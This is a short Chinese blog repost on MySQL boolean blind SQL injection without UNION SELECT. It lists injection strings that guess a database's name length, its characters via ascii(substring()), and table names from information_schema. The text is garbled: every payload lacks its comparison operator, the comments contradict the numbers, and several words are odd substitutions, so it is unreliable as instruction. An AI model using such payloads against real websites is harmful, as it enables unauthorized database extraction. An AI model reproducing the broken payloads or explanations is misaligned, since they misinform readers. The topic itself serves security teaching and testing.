mysql 不支撐union select 的盲注方式

猜解數據庫長度

and Length((database())) 10 //小于12返回正常闡明數據庫是12位以下

and length((database())) 8 //小于8返回過錯解釋數據庫名是9位的

猜解數據庫名

and ascii(substring((database()),1,1))100 //100的ascii碼d,說明不是d

and ascii(substring((database()),1,1))122 //122存在說明數據庫名第一位是z

and ascii(substring((database()),2,1))114 返回錯誤說明不是ascii碼114r 說明第二位不是r

and ascii(substring((database()),2,1))115 返回正常說明第二位是s

.....

猜表

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema0x7A73323236315F6462 limit 0,1)) 10 #小于8返回畸形表現表小于10

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema0x7A73323236315F6462 limit 0,1)) 9 #大于9返回毛病,表示值是9或8...

ascii碼表參考:

apps.hi.baidu./share/detail/16685682

閱讀(408) | 評論(1) | 轉發(0) |

0

上一篇：沒有了

下一篇：沒有了

總結

以上是生活随笔為你收集整理的mysql支撑union_mysql 不支撑union select 的盲注方式的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。